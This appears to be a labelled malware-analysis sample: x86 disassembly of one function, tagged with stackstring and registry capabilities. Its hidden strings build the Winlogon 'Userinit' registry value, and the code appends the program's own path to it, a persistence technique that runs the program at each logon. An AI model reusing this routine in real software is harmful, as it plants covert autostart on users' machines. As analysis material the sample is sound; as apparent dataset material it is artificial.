Function at 0x402000
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x35c
push ebx
push esi
push edi
lea eax, [esp + 0x264]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov cl, 0x66
mov dl, 0x69
mov byte [esp + 0x1a], cl
mov byte [esp + 0x28], cl
mov cl, 0x6e
mov byte [esp + 0x22], dl
mov byte [esp + 0x2d], cl
mov byte [esp + 0x3b], cl
mov byte [esp + 0x43], cl
mov byte [esp + 0x47], cl
mov byte [esp + 0x4c], cl
mov byte [esp + 0x11], cl
mov byte [esp + 0x2c], dl
mov byte [esp + 0x41], dl
mov byte [esp + 0x46], dl
mov byte [esp + 0x10], dl
mov byte [esp + 0x12], dl
lea ecx, [esp + 0x50]
lea edx, [esp + 0x18]
mov al, 0x6f
mov bl, 0x72
push ecx
push edx
mov byte [esp + 0x20], 0x53
mov byte [esp + 0x21], al
mov byte [esp + 0x23], 0x74
mov byte [esp + 0x24], 0x77
mov byte [esp + 0x25], 0x61
mov byte [esp + 0x26], bl
mov byte [esp + 0x27], 0x65
mov byte [esp + 0x28], 0x5c
mov byte [esp + 0x29], 0x4d
mov byte [esp + 0x2b], 0x63
mov byte [esp + 0x2c], bl
mov byte [esp + 0x2d], al
mov byte [esp + 0x2e], 0x73
mov byte [esp + 0x2f], al
mov byte [esp + 0x31], 0x74
mov byte [esp + 0x32], 0x5c
mov byte [esp + 0x33], 0x57
mov byte [esp + 0x36], 0x64
mov byte [esp + 0x37], al
mov byte [esp + 0x38], 0x77
mov byte [esp + 0x39], 0x73
mov byte [esp + 0x3a], 0x20
mov byte [esp + 0x3b], 0x4e
mov byte [esp + 0x3c], 0x54
mov byte [esp + 0x3d], 0x5c
mov byte [esp + 0x3e], 0x43
mov byte [esp + 0x3f], 0x75
mov byte [esp + 0x40], bl
mov byte [esp + 0x41], bl
mov byte [esp + 0x42], 0x65
mov byte [esp + 0x44], 0x74
mov byte [esp + 0x45], 0x56
mov byte [esp + 0x46], 0x65
mov byte [esp + 0x47], bl
mov byte [esp + 0x48], 0x73
mov byte [esp + 0x4a], al
mov byte [esp + 0x4c], 0x5c
mov byte [esp + 0x4d], 0x57
mov byte [esp + 0x50], 0x6c
mov byte [esp + 0x51], al
mov byte [esp + 0x52], 0x67
mov byte [esp + 0x53], al
mov byte [esp + 0x55], 0
mov byte [esp + 0x14], 0x55
mov byte [esp + 0x15], 0x73
mov byte [esp + 0x16], 0x65
mov byte [esp + 0x17], bl
mov byte [esp + 0x1b], 0x74
mov byte [esp + 0x1c], 0
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x5d]
mov byte [esp + 0x5c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x58]
lea ecx, [esp + 0x5c]
push eax
lea edx, [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
lea eax, [esp + 0x18]
push 0
push eax
push ecx
mov dword [esp + 0x6c], 1
mov dword [esp + 0x70], 0x209
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea edi, [esp + 0x5c]
or ecx, 0xffffffff
xor eax, eax
xor edx, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x4021d7
mov bl, 0x2c
cmp byte [esp + edx + 0x5c], bl
je 0x4021d2
lea edi, [esp + 0x5c]
or ecx, 0xffffffff
xor eax, eax
inc edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp edx, ecx
jb 0x4021b7
jmp 0x4021d7
mov byte [esp + edx + 0x5d], 0
lea edi, [esp + 0x264]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x5c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov edx, dword [esp + 0x50]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x5c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x5c]
push ecx
push eax
push 1
lea ecx, [esp + 0x18]
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 0x50]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
add esp, 0x35c
ret